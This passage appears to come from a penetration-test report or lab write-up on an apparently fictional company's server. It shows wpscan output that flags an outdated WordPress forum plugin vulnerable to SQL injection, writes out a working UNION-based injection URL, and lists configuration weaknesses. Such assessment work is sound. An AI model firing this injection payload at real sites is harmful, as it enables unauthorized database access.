Phase 3: Identifying vulnerabilities

In addition to targeted DNS queries, further vulnerabilities were searched for based on the name server’s version number. The software version was up-to-date, which was verified in the Debian changelog. There were no known security vulnerabilities for this on https://www.cvedetails.com/, so the examination of the web server continued.

The blog of Oblivius Education Inc. revealed that WordPress (WP) was used for their Content Management System (CMS), the version of which could unfortunately not be identified:

Instead of Wordpress itself, however, an active WP plugin proved prone to SQL injections:

~$wpscan --url http://10.222.1.38 --enumerate p  
[..] 

[+] URL: http://10.222.1.38/ 
[+] Started: Mon Jan 15 14:58:53 2018 
[..] 

[+] Enumerating installed plugins (only ones marked as popular) ... 

   Time: 00:00:00 <========================> (1406 / 1406) 100.00% Time: 00:00:00 

[+] We found 1 plugins:  
[+] Name: forum-server - v1.6.5  
 |  Last updated: 2015-05-07T14:53:00.000Z 
 |  Location: http://10.222.1.38/wp-content/plugins/forum-server/ 
 |  Readme: http://10.222.1.38/wp-content/plugins/forum-server/readme.txt 
[!] The version is out of date, the latest version is 1.8.2 
[..] 

[!] Title: WP Forum Server 1.6.5 - index.php Multiple Parameter SQL Injection  
    Reference: https://wpvulndb.com/vulnerabilities/6424 
    Reference: http://www.securityfocus.com/bid/46362/ 
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1047 
    Reference: https://secunia.com/advisories/43306/ 
    Reference: https://www.exploit-db.com/exploits/16235/ 
[..]

Using the listed links from wpscan, the SQL injection could be verified with the URL call http://10.222.1.38/wp-content/plugins/forum-server/feed.php?topic=1%20union%20select%20version%28%29%20-- by being able to display the database version using a injected SQL command:

In addition to the SQL injection, additional vulnerabilities in the configuration of the web server were discovered in accordance with the OWASP testing guide:

• Sensitive parameters were transmitted in cleartext. For example, the credentials of a WP user were transported via HTTP and not HTTPS.
• A security-relevant attribute in the HTTP protocol header was not set. This pertained to the HTTP header field, X-Frame-Options for the prevention of clickjacking attacks, in which the content of an application is overlaid by another interface.